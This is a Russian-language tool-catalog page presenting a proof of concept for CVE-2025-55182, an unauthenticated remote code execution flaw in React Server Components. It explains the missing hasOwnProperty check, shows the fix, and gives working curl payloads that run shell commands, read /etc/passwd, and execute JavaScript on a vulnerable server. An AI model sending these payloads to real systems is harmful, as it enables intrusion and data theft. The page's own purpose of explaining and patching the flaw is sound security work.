Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/joshterrill/cve-2025-55182-realistic-poc
Анализ уязвимостейАнализ КодаЭксплуатацияЭксплуатация веб-приложенийОбучение и ОбразованиеРазработка Полезной Нагрузки
GitHubjoshterrill/cve-2025-55182-realistic-poc

CVE-2025-55182-realistic-poc

реалистичный POC, демонстрирующий отсутствующую проверку `hasOwnProperty` в [email protected]

Репозиторий
119 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2025-55182: RCE в React Server Components

Минимальная proof of concept, демонстрирующая критическую уязвимость удаленного выполнения кода в [email protected].

Что такое CVE-2025-55182?

Уязвимость RCE без аутентификации в React Server Components, позволяющая атакующим выполнять произвольный код на серверах, использующих уязвимый пакет react-server-dom-webpack (версии 19.0.0 - 19.2.0).

Оценка CVSS: 10 (Критический)

Затронутые пакеты

  • react-server-dom-webpack 19.0.0, 19.1.0, 19.1.1, 19.2.0
  • react-server-dom-parcel 19.0.0, 19.1.0, 19.1.1, 19.2.0
  • react-server-dom-turbopack 19.0.0, 19.1.0, 19.1.1, 19.2.0

Исправленные версии

  • 19.0.1, 19.1.2, 19.2.1

Уязвимость

Основная причина: отсутствие проверки hasOwnProperty

Уязвимость существует в функции requireModule в реализации протокола Flight от React. Эта функция загружает экспортируемые модули на основе метаданных, полученных из запросов клиентов.

Уязвимый код ([email protected]):

root@kitploit:~
// packages/react-server-dom-webpack/src/client/ReactFlightClientConfigBundlerWebpack.js

export function requireModule<T>(metadata: ClientReference<T>): T {
  const moduleExports = __webpack_require__(metadata[ID]);
  if (metadata[NAME] === '*') {
    return moduleExports;
  }
  if (metadata[NAME] === '') {
    return moduleExports.__esModule ? moduleExports.default : moduleExports;
  }
  return moduleExports[metadata[NAME]];  // <-- Без проверки!
}

Проблема: metadata[NAME] поступает из пользовательского ввода (HTTP-запроса). Злоумышленник может указать любой модуль и имя экспорта, например child_process#execSync.

Исправление (PR #35277)

Исправленный код ([email protected]+):

root@kitploit:~
// packages/react-server-dom-webpack/src/client/ReactFlightClientConfigBundlerWebpack.js

import hasOwnProperty from 'shared/hasOwnProperty';

export function requireModule<T>(metadata: ClientReference<T>): T {
  const moduleExports = __webpack_require__(metadata[ID]);
  if (metadata[NAME] === '*') {
    return moduleExports;
  }
  if (metadata[NAME] === '') {
    return moduleExports.__esModule ? moduleExports.default : moduleExports;
  }
  // ИСПРАВЛЕНО: Проверяем, что экспорт действительно существует
  if (hasOwnProperty.call(moduleExports, metadata[NAME])) {
    return moduleExports[metadata[NAME]];
  }
  return (undefined: any);
}

Исправление добавляет hasOwnProperty.call(), чтобы гарантировать, что запрошенный экспорт является собственным свойством модуля, а не унаследован от цепочки прототипов или динамически разрешим в опасные модули.

Вектор атаки

  1. Злоумышленник отправляет специально сформированный HTTP POST-запрос на endpoint серверного действия
  2. Полезная нагрузка содержит поля $ACTION_REF_0 и $ACTION_0:0
  3. $ACTION_0:0 содержит {"id":"child_process#execSync","bound":["whoami"]}
  4. decodeAction разбирает это и вызывает requireModule с контролируемыми злоумышленником метаданными
  5. requireModule возвращает require('child_process').execSync
  6. Функция вызывается с аргументами злоумышленника → RCE

Proof of Concept

Настройка

root@kitploit:~
cd CVE-2025-55182-realistic-poc/
npm install
npm start
# starts on http://localhost:3000

Выполнение RCE

root@kitploit:~
curl -X POST http://localhost:3000 \
  -F '$ACTION_REF_0=' \
  -F '$ACTION_0:0={"id":"child_process#execSync","bound":["whoami"]}'

Ожидаемый вывод:

root@kitploit:~
{"success":true,"result":"your-username\n"}

Другие примеры эксплуатации

root@kitploit:~
# Чтение файлов
curl -X POST http://localhost:3000 \
  -F '$ACTION_REF_0=' \
  -F '$ACTION_0:0={"id":"fs#readFileSync","bound":["/etc/passwd","utf8"]}'

# Выполнение JavaScript
curl -X POST http://localhost:3000 \
  -F '$ACTION_REF_0=' \
  -F '$ACTION_0:0={"id":"vm#runInThisContext","bound":["process.version"]}'

Как это работает

Поток decodeAction

root@kitploit:~
HTTP-запрос
    │
    ▼
┌──────────────────────────────────────────────────────────────────┐
│  decodeAction(formData, serverManifest)                          │
│  - Парсит $ACTION_REF_0 для поиска ссылки на действие            │
│  - Парсит $ACTION_0:0 для получения {id, bound}                  │
└──────────────────────────────────────────────────────────────────┘
    │
    ▼
┌──────────────────────────────────────────────────────────────────┐
│  loadServerReference(serverManifest, id, bound)                  │
│  - id = "child_process#execSync" (контролируется злоумышленником)│
│  - bound = ["whoami"] (контролируется злоумышленником)           │
└──────────────────────────────────────────────────────────────────┘
    │
    ▼
┌──────────────────────────────────────────────────────────────────┐
│  resolveServerReference(bundlerConfig, id)                       │
│  - Разделяет "child_process#execSync" на:                        │
│    specifier = "child_process"                                   │
│    name = "execSync"                                             │
└──────────────────────────────────────────────────────────────────┘
    │
    ▼
┌──────────────────────────────────────────────────────────────────┐
│  requireModule(metadata)                     [УЯЗВИМО]           │
│  - Загружает require("child_process")                            │
│  - Возвращает moduleExports["execSync"]                          │
│  - НЕТ ПРОВЕРКИ, что "execSync" должен быть доступен              │
└──────────────────────────────────────────────────────────────────┘
    │
    ▼
┌──────────────────────────────────────────────────────────────────┐
│  action = execSync.bind(null, "whoami")                          │
│  result = action()  →  ВЫПОЛНЯЕТ "whoami" НА СЕРВЕРЕ             │
└──────────────────────────────────────────────────────────────────┘

Ссылки

  • Консультация по безопасности React: https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components
  • GitHub PR #35277 (Исправление): https://github.com/facebook/react/pull/35277
  • Запись CVE: https://nvd.nist.gov/vuln/detail/CVE-2025-55182
  • Анализ Wiz: https://www.wiz.io/blog/critical-vulnerability-in-react-cve-2025-55182
  • Консультация Next.js: https://nextjs.org/blog/CVE-2025-66478

Лицензия

MIT

Скачать инструмент